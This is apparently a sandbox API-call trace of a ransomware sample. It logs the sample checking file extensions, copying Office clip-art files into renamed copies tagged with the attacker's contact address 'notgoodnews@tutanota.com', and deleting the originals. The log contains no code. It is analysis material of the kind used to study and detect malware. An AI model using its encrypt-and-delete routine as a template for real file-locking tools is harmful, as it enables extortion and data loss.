[0087.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.951] lstrlenW (lpString=".rar") returned 4 [0087.951] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.951] lstrlenW (lpString=".bz2") returned 4 [0087.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.951] lstrlenW (lpString=".7z") returned 3 [0087.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0087.951] lstrlenW (lpString=".dbf") returned 4 [0087.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0087.951] lstrlenW (lpString=".1cd") returned 4 [0087.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0087.951] lstrlenW (lpString=".jpg") returned 4 [0087.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0087.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0087.951] lstrlenW (lpString=".doc") returned 4 [0087.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.951] lstrlenW (lpString=".docx") returned 5 [0087.951] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.951] lstrlenW (lpString=".pdf") returned 4 [0087.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.951] lstrlenW (lpString=".xls") returned 4 [0087.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.951] lstrlenW (lpString=".xlsx") returned 5 [0087.951] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.951] lstrlenW (lpString=".ppt") returned 4 [0087.951] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0087.951] lstrlenW (lpString=".zip") returned 4 [0087.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.951] lstrlenW (lpString=".rar") returned 4 [0087.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.952] lstrlenW (lpString=".bz2") returned 4 [0087.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.952] lstrlenW (lpString=".7z") returned 3 [0087.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0087.952] lstrlenW (lpString=".dbf") returned 4 [0087.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0087.952] lstrlenW (lpString=".1cd") returned 4 [0087.952] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0087.952] lstrlenW (lpString=".jpg") returned 4 [0087.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.952] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0087.952] lstrlenW (lpString="HH00526_.WMF") returned 12 [0087.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.953] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=13538) returned 1 [0087.953] CloseHandle (hObject=0x2c4) returned 1 [0087.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x220 [0087.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.953] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.953] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0087.953] GetLastError () returned 0x0 [0087.954] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x34e2, lpOverlapped=0x0) returned 1 [0087.955] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x34f0, lpOverlapped=0x0) returned 1 [0087.957] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.957] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0087.957] SetEndOfFile (hFile=0x344) returned 1 [0087.957] CloseHandle (hObject=0x344) returned 1 [0087.957] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.957] SetEndOfFile (hFile=0x2c4) returned 1 [0087.958] CloseHandle (hObject=0x2c4) returned 1 [0087.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0087.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 1 [0087.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0087.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0087.959] lstrlenW (lpString=".doc") returned 4 [0087.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.959] lstrlenW (lpString=".docx") returned 5 [0087.959] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.959] lstrlenW (lpString=".pdf") returned 4 [0087.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.959] lstrlenW (lpString=".xls") returned 4 [0087.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.959] lstrlenW (lpString=".xlsx") returned 5 [0087.959] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.959] lstrlenW (lpString=".ppt") returned 4 [0087.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0087.959] lstrlenW (lpString=".zip") returned 4 [0087.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.959] lstrlenW (lpString=".rar") returned 4 [0087.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.959] lstrlenW (lpString=".bz2") returned 4 [0087.959] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.959] lstrlenW (lpString=".7z") returned 3 [0087.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0087.959] lstrlenW (lpString=".dbf") returned 4 [0087.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0087.960] lstrlenW (lpString=".1cd") returned 4 [0087.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0087.960] lstrlenW (lpString=".jpg") returned 4 [0087.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0087.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0087.960] lstrlenW (lpString=".doc") returned 4 [0087.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.960] lstrlenW (lpString=".docx") returned 5 [0087.960] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.960] lstrlenW (lpString=".pdf") returned 4 [0087.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.960] lstrlenW (lpString=".xls") returned 4 [0087.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.960] lstrlenW (lpString=".xlsx") returned 5 [0087.960] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.960] lstrlenW (lpString=".ppt") returned 4 [0087.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0087.960] lstrlenW (lpString=".zip") returned 4 [0087.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.960] lstrlenW (lpString=".rar") returned 4 [0087.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.960] lstrlenW (lpString=".bz2") returned 4 [0087.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.960] lstrlenW (lpString=".7z") returned 3 [0087.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0087.960] lstrlenW (lpString=".dbf") returned 4 [0087.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0087.960] lstrlenW (lpString=".1cd") returned 4 [0087.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0087.960] lstrlenW (lpString=".jpg") returned 4 [0087.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.961] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0087.961] lstrlenW (lpString="HH00527_.WMF") returned 12 [0087.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.961] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=5798) returned 1 [0087.961] CloseHandle (hObject=0x2c4) returned 1 [0087.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x220 [0087.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.961] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.961] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0087.962] GetLastError () returned 0x0 [0087.962] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x16a6, lpOverlapped=0x0) returned 1 [0087.963] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x16b0, lpOverlapped=0x0) returned 1 [0087.966] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.966] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0087.966] SetEndOfFile (hFile=0x344) returned 1 [0087.966] CloseHandle (hObject=0x344) returned 1 [0087.966] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.966] SetEndOfFile (hFile=0x2c4) returned 1 [0087.967] CloseHandle (hObject=0x2c4) returned 1 [0087.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0087.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 1 [0087.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0087.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0087.968] lstrlenW (lpString=".doc") returned 4 [0087.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.968] lstrlenW (lpString=".docx") returned 5 [0087.968] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.968] lstrlenW (lpString=".pdf") returned 4 [0087.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.968] lstrlenW (lpString=".xls") returned 4 [0087.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.968] lstrlenW (lpString=".xlsx") returned 5 [0087.968] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.968] lstrlenW (lpString=".ppt") returned 4 [0087.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0087.968] lstrlenW (lpString=".zip") returned 4 [0087.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.968] lstrlenW (lpString=".rar") returned 4 [0087.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.968] lstrlenW (lpString=".bz2") returned 4 [0087.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.968] lstrlenW (lpString=".7z") returned 3 [0087.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0087.968] lstrlenW (lpString=".dbf") returned 4 [0087.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0087.968] lstrlenW (lpString=".1cd") returned 4 [0087.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0087.968] lstrlenW (lpString=".jpg") returned 4 [0087.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0087.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0087.969] lstrlenW (lpString=".doc") returned 4 [0087.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.969] lstrlenW (lpString=".docx") returned 5 [0087.969] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.969] lstrlenW (lpString=".pdf") returned 4 [0087.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.969] lstrlenW (lpString=".xls") returned 4 [0087.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.969] lstrlenW (lpString=".xlsx") returned 5 [0087.969] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.969] lstrlenW (lpString=".ppt") returned 4 [0087.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0087.969] lstrlenW (lpString=".zip") returned 4 [0087.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.969] lstrlenW (lpString=".rar") returned 4 [0087.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.969] lstrlenW (lpString=".bz2") returned 4 [0087.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.969] lstrlenW (lpString=".7z") returned 3 [0087.969] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0087.969] lstrlenW (lpString=".dbf") returned 4 [0087.969] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0087.969] lstrlenW (lpString=".1cd") returned 4 [0087.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0087.969] lstrlenW (lpString=".jpg") returned 4 [0087.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.970] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0087.970] lstrlenW (lpString="HH00546_.WMF") returned 12 [0087.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.970] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3718) returned 1 [0087.970] CloseHandle (hObject=0x2c4) returned 1 [0087.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x220 [0087.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.970] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.970] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0087.971] GetLastError () returned 0x0 [0087.971] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xe86, lpOverlapped=0x0) returned 1 [0087.972] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xe90, lpOverlapped=0x0) returned 1 [0087.973] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.973] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0087.973] SetEndOfFile (hFile=0x344) returned 1 [0087.973] CloseHandle (hObject=0x344) returned 1 [0088.383] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.383] SetEndOfFile (hFile=0x2c4) returned 1 [0088.384] CloseHandle (hObject=0x2c4) returned 1 [0088.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0088.384] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 1 [0088.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0088.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0088.714] lstrlenW (lpString=".doc") returned 4 [0088.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.714] lstrlenW (lpString=".docx") returned 5 [0088.714] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.714] lstrlenW (lpString=".pdf") returned 4 [0088.714] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.714] lstrlenW (lpString=".xls") returned 4 [0088.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.714] lstrlenW (lpString=".xlsx") returned 5 [0088.714] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.714] lstrlenW (lpString=".ppt") returned 4 [0088.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0088.714] lstrlenW (lpString=".zip") returned 4 [0088.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.714] lstrlenW (lpString=".rar") returned 4 [0088.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.715] lstrlenW (lpString=".bz2") returned 4 [0088.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 